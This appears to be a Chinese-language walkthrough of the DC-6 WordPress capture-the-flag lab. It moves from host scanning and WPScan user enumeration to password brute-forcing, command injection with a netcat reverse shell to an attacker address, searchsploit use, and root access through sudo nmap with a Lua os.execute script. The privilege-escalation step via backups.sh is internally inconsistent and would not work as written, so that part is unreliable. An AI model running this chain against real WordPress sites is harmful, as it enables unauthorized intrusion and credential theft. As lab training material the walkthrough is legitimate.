WordPress渗透实战:从WPScan用户枚举到Nmap特权升级的完整复现(DC-6靶场)
WordPress渗透实战:从WPScan用户枚举到Nmap特权升级的完整复现(DC-6靶场)
在网络安全领域,WordPress作为全球最流行的内容管理系统,其安全性一直备受关注。DC-6靶场提供了一个绝佳的实战环境,让我们能够模拟真实世界中对WordPress站点的渗透测试过程。本文将带你一步步完成从信息收集到最终获取root权限的完整渗透流程,特别适合那些希望系统学习Web渗透测试的中级安全爱好者。
1. 环境准备与初始配置
在开始渗透测试之前,我们需要确保实验环境正确搭建。DC-6靶场可以从官方下载后直接导入虚拟机。值得注意的是,这个靶场只包含一个flag,这意味着我们需要通过完整的渗透链条才能最终获取目标。
网络配置关键步骤:
- 将Kali Linux和DC-6靶机设置为同一网络模式(通常选择NAT或桥接)
- 如果遇到虚拟机导入错误,可以尝试点击"重试"多次
- 建议为靶机分配至少2GB内存以确保流畅运行
提示:在实际渗透测试中,确保你的所有操作都在合法授权的范围内进行,未经授权的测试可能涉及法律风险。
2. 信息收集阶段
信息收集是渗透测试的第一步,也是最重要的一环。在这个阶段,我们需要尽可能多地收集目标系统的相关信息。
2.1 网络扫描与主机发现
首先使用arp-scan确定靶机在本地网络中的IP地址:
arp-scan -l这个命令会列出当前局域网中所有活跃设备的IP和MAC地址。通过分析响应时间或MAC地址厂商信息,通常可以识别出靶机。
2.2 端口与服务扫描
获取靶机IP后,使用Nmap进行全面的端口扫描和服务识别:
nmap -sV -sC -p- -A 192.168.1.100参数解释:
-sV:探测服务版本-sC:使用默认脚本扫描-p-:扫描所有65535个端口-A:启用操作系统检测和版本检测
扫描结果可能会显示80端口开放,但访问时却重定向到http://wordy/。这是因为WordPress配置了特定的站点URL。解决方法是在hosts文件中添加解析:
echo "192.168.1.100 wordy" >> /etc/hosts2.3 Web应用指纹识别
使用WhatWeb工具识别网站使用的技术栈:
whatweb -v http://wordy这个命令会返回网站使用的CMS、编程语言、Web服务器等关键信息,确认这是一个WordPress站点。
2.4 目录爆破
使用dirsearch工具寻找隐藏的目录和文件:
dirsearch -u http://wordy -e php,html,js -w /usr/share/wordlists/dirb/common.txt如果尚未安装dirsearch,可以通过以下命令安装:
apt-get install dirsearch3. WordPress专项扫描
确认目标使用WordPress后,我们可以使用专门的工具WPScan进行深入扫描。
3.1 用户枚举
WordPress默认配置可能存在用户枚举漏洞,使用以下命令尝试获取用户列表:
wpscan --url http://wordy/ --enumerate u将发现的用户名保存到文件中,例如users.txt,为后续密码爆破做准备。
3.2 密码爆破
DC-6靶场提供了密码提示,我们可以利用这个提示生成针对性的密码字典:
cat /usr/share/wordlists/rockyou.txt | grep k01 > pass.txt然后使用WPScan进行密码爆破:
wpscan --url http://wordy/ -P pass.txt -U users.txt成功爆破后,我们获得了有效凭据:mark:helpdesk01。
4. 漏洞利用与初始访问
4.1 登录WordPress后台
使用获得的凭据登录WordPress后台(通常位于/wp-admin)。仔细检查每个功能模块,特别是插件管理页面。
4.2 命令注入漏洞利用
在插件功能中发现一个可以执行命令的接口。测试发现该接口存在命令注入漏洞:
- 首先在Kali上开启监听:
nc -lvp 8888- 然后在Web界面的命令执行处输入反弹shell命令:
nc 192.168.1.101 8888 -e /bin/bash成功执行后将获得一个反向shell连接。
4.3 替代方法:利用Activity Monitor插件漏洞
如果上述方法不可行,还可以尝试搜索已知漏洞:
searchsploit activity monitor找到相关漏洞后下载利用脚本:
searchsploit -m 50110.py不过这种方法通常不如直接使用反向shell稳定。
5. 权限提升与横向移动
5.1 初始shell的局限性
获得的webshell通常功能受限,我们需要尝试提升权限或获取更稳定的访问方式。
检查当前用户权限:
sudo -l find / -perm -u=s -type f 2>/dev/null cat /etc/crontab如果这些方法都无法直接提权,我们需要寻找其他途径。
5.2 发现新凭据与SSH登录
在文件系统中搜索,可能会发现包含新用户名和密码的文件。例如:
cat /home/mark/stuff/things-to-do.txt假设我们发现了新的凭据jens:jens123,可以尝试SSH登录:
ssh jens@192.168.1.1005.3 利用备份脚本提权
登录jens账户后,检查sudo权限:
sudo -l发现可以以jens身份执行/home/jens/backups.sh。我们可以利用这个脚本获取更高权限:
echo '/bin/bash' >> /tmp/exploit.sh chmod +x /tmp/exploit.sh sudo -u jens /tmp/exploit.sh5.4 Nmap特权升级
在jens账户下,进一步检查sudo权限可能发现可以以root身份运行nmap:
sudo -l如果结果显示用户可以以root身份执行nmap,我们可以利用nmap的交互模式提权:
TF=$(mktemp) echo 'os.execute("/bin/sh")' > $TF sudo nmap --script=$TF如果命令执行后没有立即获得shell,可以尝试使用Python获取更稳定的终端:
python -c 'import pty;pty.spawn("/bin/bash")'6. 获取flag与后渗透
成功提权到root后,最后的步骤是寻找flag:
whoami ls /root cat /root/theflag.txt在整个渗透过程中,有几个关键经验值得注意:
- WordPress专用扫描器WPScan在信息收集中极为有效
- 命令执行漏洞可以直接用于获取反向shell
- 当一个webshell无法提权时,尝试通过SSH获取其他用户的shell
- Nmap的sudo权限滥用是一个经典的提权方法
